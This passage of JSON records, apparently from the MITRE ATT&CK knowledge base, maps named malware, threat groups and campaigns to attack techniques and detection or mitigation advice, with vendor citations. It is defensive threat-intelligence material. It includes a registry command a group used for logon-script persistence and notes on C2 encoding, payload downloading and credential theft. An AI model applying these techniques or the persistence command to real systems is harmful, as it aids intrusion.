"relationship--83a949a2-ed5d-4ae5-a45f-885e58a7d931", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-20T18:10:23.278Z", "description": "[Dipsind](https://attack.mitre.org/software/S0200) encodes C2 traffic with base64.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--83a9bc01-3aed-4aa7-b0f9-fad05158e169", "created": "2022-06-16T19:18:49.925Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze traffic patterns and packet inspection associated to LDAP and MSRPC that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure).", "modified": "2022-06-16T19:18:49.925Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83aac36d-6dfa-4c27-b1b1-c200c9240eb9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}], "modified": "2020-01-17T22:22:30.678Z", "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--83ac4384-a6a8-42d1-9b1b-273902c57144", "created": "2022-09-22T20:51:45.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.", "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T20:53:56.657Z", "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors exploited multiple vulnerabilities in externally facing servers.(Citation: Cybereason OperationCuckooBees May 2022)", "relationship_type": "uses", "source_ref": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83ac6dba-c74f-4a9e-aba3-3581a67588bf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}], "modified": "2020-03-20T22:45:56.073Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) base64 encodes strings that are sent to the C2 over its DNS tunnel.(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AlienVault Sykipot 2011", "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}], "modified": "2020-03-16T17:50:28.572Z", "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>netstat -ano</code> to display active network connections.(Citation: AlienVault Sykipot 2011)", "relationship_type": "uses", "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--83aedf08-e8eb-4c18-80c1-727ddb0f1d07", "created": "2022-07-18T18:56:23.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-09T15:43:56.646Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) modified the registry using the command <code>reg add \u201cHKEY_CURRENT_USER\\Environment\u201d /v UserInitMprLogonScript /t REG_SZ /d \u201c[file path]\u201d</code> for persistence.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--83b38947-8b1f-423d-847d-ee85b2631785", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for changes made to files that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--83b4190b-31aa-4f90-a397-624b89fb2f6f", "created": "2022-09-15T17:27:31.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-05T15:57:58.379Z", "description": "During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors obtained open source tools to use in their operations.(Citation: BlackBerry CostaRicto November 2020) ", "relationship_type": "uses", "source_ref": "campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd", "created": "2017-05-31T21:33:27.069Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster RATs", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. 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(2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", "source_name": "Cybereason TA505 April 2019"}, {"description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has disguised malware as a Windows Security update service.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-01T20:58:14.525Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto T9000 Feb 2016", "description": "Grunzweig, J. and Miller-Osborn, J.. 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Retrieved December 17, 2021."}, {"source_name": "Uptycs Warzone UAC Bypass November 2020", "url": "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", "description": "Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use PowerShell to download files and execute commands.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)", "modified": "2022-04-07T15:10:38.188Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--84335309-0b5d-4005-84c1-401bdd42c606", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T16:18:38.089Z", "description": "Monitor for suspicious modification of files associated with authentication processes, such as configuration files and module paths (e.g. `/etc/pam.d/`). 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Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can use API functions to load the [FoggyWeb](https://attack.mitre.org/software/S0661) backdoor into the same Application Domain within which the legitimate AD FS managed code is executed.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-16T01:48:04.813Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8544d4c3-e2e5-44c6-b57d-a169143f49eb", "type": "relationship", "created": "2020-07-23T16:50:06.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-23T16:50:06.426Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has trojanized the <sode>ssh_login</code> and <code>user-auth_pubkey</code> functions to steal plaintext credentials.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--85482d65-d2ac-4d79-8ee4-da653e73aa8f", "type": "relationship", "created": "2019-06-05T13:20:24.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}, {"source_name": "Trend Micro njRAT 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--854e11fd-f29e-4b7e-a3c2-f4c8c9ee302f", "type": "relationship", "created": "2020-02-19T18:52:25.295Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-25T13:12:57.027Z", "description": "Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--854edd76-3754-46fb-978e-74c1bb460bf2", "created": "2022-03-30T14:26:51.876Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.", "modified": "2022-04-19T03:12:08.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--854fd292-dbaf-4112-96b2-824364c82a4c", "type": "relationship", "created": "2019-01-31T00:23:06.367Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. 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Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", "url": "https://www.cybereason.com/blog/royal-ransomware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T20:14:30.892Z", "description": "[Royal](https://attack.mitre.org/software/S1073) can enumerate the shared resources of a given IP addresses using the API call `NetShareEnum`.(Citation: Cybereason Royal December 2022)", "relationship_type": "uses", "source_ref": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--855a735f-756f-4911-a69b-454439a38037", "type": "relationship", "created": "2021-09-21T17:02:09.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. 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Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:48.819Z", "description": "[Turian](https://attack.mitre.org/software/S0647) can use WinRAR to create a password-protected archive for files of interest.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--855bbd91-c7b6-405c-9d7c-881a04e79b6f", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor newly executed processes that may take control of preexisting sessions with remote services to move laterally in an environment.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--855bcd64-ef37-4197-8d3e-2c147d42d774", "created": "2020-06-01T14:41:54.778Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}, {"source_name": "Proofpoint TA505 October 2019", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T17:20:09.402Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the OS version, OS bit information and computer name.(Citation: Proofpoint TA505 October 2019)(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--855c5caf-8553-45d0-a08b-842a9358d138", "created": "2022-09-21T22:43:00.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T20:35:05.585Z", "description": "During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--855c7acd-9fa1-48a3-af4a-16de53499c3b", "type": "relationship", "created": "2020-11-13T20:48:15.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. 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Retrieved December 28, 2020."}], "modified": "2020-12-28T21:34:37.869Z", "description": "[DropBook](https://attack.mitre.org/software/S0547) can download and execute additional files.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--867e25d3-bf89-4072-bd97-c6e3176ccc11", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-06T12:32:41.244Z", "description": "Monitor for common cryptomining or proxyware files on local systems that may indicate compromise and resource usage.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86847d37-f7da-4c30-ab48-2da87e6c1cff", "type": "relationship", "created": "2020-03-19T23:18:35.420Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Leafminer July 2018", "description": "Symantec Security Response. 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(2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can search for other machines connected to compromised host and attempt to map the network.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-17T18:38:15.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--86b00142-a259-4237-b1a8-a8183d581b54", "created": "2019-04-19T15:08:15.767Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Unit42 PlugX June 2017", "url": "https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/", "description": "Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PlugX](https://attack.mitre.org/software/S0013) checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\".(Citation: Unit42 PlugX June 2017)", "modified": "2022-04-15T16:31:37.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86b103ec-dfa0-4c0a-ad96-b885345b4711", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "modified": "2020-03-18T15:37:23.765Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) used the PowerShell filenames <code>Office365DCOMCheck.ps1</code> and <code>SystemDiskClean.ps1</code>.(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": 